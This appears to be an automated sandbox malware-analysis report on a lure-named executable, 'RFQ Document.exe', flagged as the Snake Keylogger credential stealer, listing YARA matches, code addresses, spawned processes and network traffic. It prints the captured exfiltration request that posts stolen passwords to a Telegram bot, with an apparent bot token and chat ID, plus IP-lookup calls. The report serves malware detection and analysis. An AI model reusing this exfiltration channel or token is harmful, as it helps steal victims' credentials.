Source: RFQ Document.exe, 00000002.00000002.926634482.00000000024A7000.00000004.00000001.sdmp	String found in binary or memory: https://freegeoip.app/xml/84.17.52.39
Source: RFQ Document.exe, 00000002.00000002.926634482.00000000024A7000.00000004.00000001.sdmp	String found in binary or memory: https://freegeoip.app41l

Source: unknown

HTTP traffic detected: POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8d98255b68d7103Host: api.telegram.orgContent-Length: 407Connection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: clientconfig.passport.net

Source: global traffic	HTTP traffic detected: GET /xml/84.17.52.39 HTTP/1.1Host: freegeoip.appConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49775 version: TLS 1.2

Source: C:\Users\user\Desktop\RFQ Document.exe

Code function: 1_2_00404FF1 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 2.2.RFQ Document.exe.7b49c8.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.RFQ Document.exe.22f0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.RFQ Document.exe.3465530.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.RFQ Document.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.RFQ Document.exe.7b49c8.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.RFQ Document.exe.4940000.5.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 1.2.RFQ Document.exe.e7e1458.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.1.RFQ Document.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.RFQ Document.exe.3465530.4.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.RFQ Document.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 1.2.RFQ Document.exe.e7e1458.2.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.RFQ Document.exe.22f0000.3.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 1.2.RFQ Document.exe.e7d0000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 1.2.RFQ Document.exe.e7d0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.RFQ Document.exe.415058.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.1.RFQ Document.exe.415058.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.2.RFQ Document.exe.415058.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 2.1.RFQ Document.exe.415058.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000001.00000002.674264323.000000000E7D0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000002.00000002.926522731.00000000022F0000.00000004.00020000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000002.00000002.925923176.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth

Initial sample is a PE file and has a suspicious name

Show sources

Source: initial sample

Static PE information: Filename: RFQ Document.exe

Executable has a suspicious name (potential lure to open the executable)

Show sources

Source: RFQ Document.exe

Static file information: Suspicious name

Source: RFQ Document.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: 2.2.RFQ Document.exe.7b49c8.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 2.2.RFQ Document.exe.22f0000.3.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 2.2.RFQ Document.exe.3465530.4.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 2.2.RFQ Document.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 2.2.RFQ Document.exe.7b49c8.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 2.2.RFQ Document.exe.4940000.5.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 1.2.RFQ Document.exe.e7e1458.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 2.1.RFQ Document.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 2.2.RFQ Document.exe.3465530.4.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 2.2.RFQ Document.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 1.2.RFQ Document.exe.e7e1458.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 2.2.RFQ Document.exe.22f0000.3.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 1.2.RFQ Document.exe.e7d0000.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 1.2.RFQ Document.exe.e7d0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 2.2.RFQ Document.exe.415058.0.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 2.1.RFQ Document.exe.415058.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 2.2.RFQ Document.exe.415058.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 2.1.RFQ Document.exe.415058.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 00000001.00000002.674264323.000000000E7D0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 00000002.00000002.926522731.00000000022F0000.00000004.00020000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: 00000002.00000002.925923176.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE

Source: C:\Users\user\Desktop\RFQ Document.exe

Code function: 1_2_0040312A EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,

Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 1_2_00406354
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 1_2_00404802
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 1_2_00406B2B
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 1_2_6FD87500
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 1_2_6FD8BA79
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 1_2_6FD8BA6A
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 1_2_6FD8754F
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0040A2A5
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_023451B0
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0234E182
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0234C1D7
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0234D660
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_023486B0
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_02342772
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_02343578
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0234E5E2
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0234EA40
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_02344B88
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0234EEA1
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0234DD06
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0234CD60
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0234D650
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0234B6F8
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0234B6E8
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_023426CE
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0234DCB0
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594A998
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594DDB8
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594ADF0
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594D508
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05941130
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594A540
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594D960
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05949C90
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594D0B0
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594A0E8
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594C800
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05949838
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594CC58
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05948F88
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594C3A8
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_059493E0
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05948B30
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594BF50
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594B6A0
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_059486D8
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594BAF8
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594E210
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05945650
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594B248
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594A98A
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594DDA9
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594ADE0
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594A530
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05941124
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594D951
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05944C9A
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05949C80
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594D0A0
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05944CA8
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594A0D8
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594D4FA
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05949828
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594CC48
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594C398
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_059493D2
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594C7F0
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05948B21
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594BF42
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05948F78
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594B691
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_059486C7
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594BAE8
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0594B238
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05974588
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0597C529
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05973CB0
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_059784E0
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05973400
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0597A468
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05970C68
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05975F98
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05972FA8
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_059797C8
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05977E98
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_059726D0
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_059756E8
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05979E18
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05974E38
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_059771F8
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_059749E0
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05974108
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05979178
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05971968
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05973858
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05970040
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05977848
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_059763F0
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05978B28
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05972B50
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05975B40
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05975290
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0597AAB0
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0597457A
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05973CA0
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_059784D0
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0597A45A
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05972F9A
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05975F88
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_059797B8
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05977E88
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_059756DA
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_059726C2
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05979E08
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05974E28
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0597E990
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0597E9A0
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_059749CF
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_059771E7
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05979168
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_059708F0
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_059740F8
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_059708E0
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05970006
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0597783A
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_0597384A
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_059733F0
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_059763E0
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05978B18
Source: C:\Users\user\Desktop\RFQ Document.exe	Code function: 2_2_05975B30

Source: RFQ Document.exe, 00000001.00000003.662485208.000000000E936000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs RFQ Document.exe
Source: RFQ Document.exe, 00000001.00000002.674264323.000000000E7D0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamechrome.exe< vs RFQ Document.exe
Source: RFQ Document.exe	Binary or memory string: OriginalFilename vs RFQ Document.exe
Source: RFQ Document.exe, 00000002.00000002.925878949.0000000000197000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs RFQ Document.exe
Source: RFQ Document.exe, 00000002.00000001.671831085.0000000000414000.00000040.00020000.sdmp	Binary or memory string: OriginalFilenamechrome.exe< vs RFQ Document.exe

Source: RFQ Document.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\Desktop\RFQ Document.exe

File read: C:\Users\user\Desktop\RFQ Document.exe

Jump to behavior

Source: RFQ Document.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\RFQ Document.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\RFQ Document.exe 'C:\Users\user\Desktop\RFQ Document.exe'
Source: C:\Users\user\Desktop\RFQ Document.exe	Process created: C:\Users\user\Desktop\RFQ Document.exe 'C:\Users\user\Desktop\RFQ Document.exe'
Source: C:\Users\user\Desktop\RFQ Document.exe	Process created: C:\Users\user\Desktop\RFQ Document.exe 'C:\Users\user\Desktop\RFQ Document.exe'

Source: C:\Users\user\Desktop\RFQ Document.exe

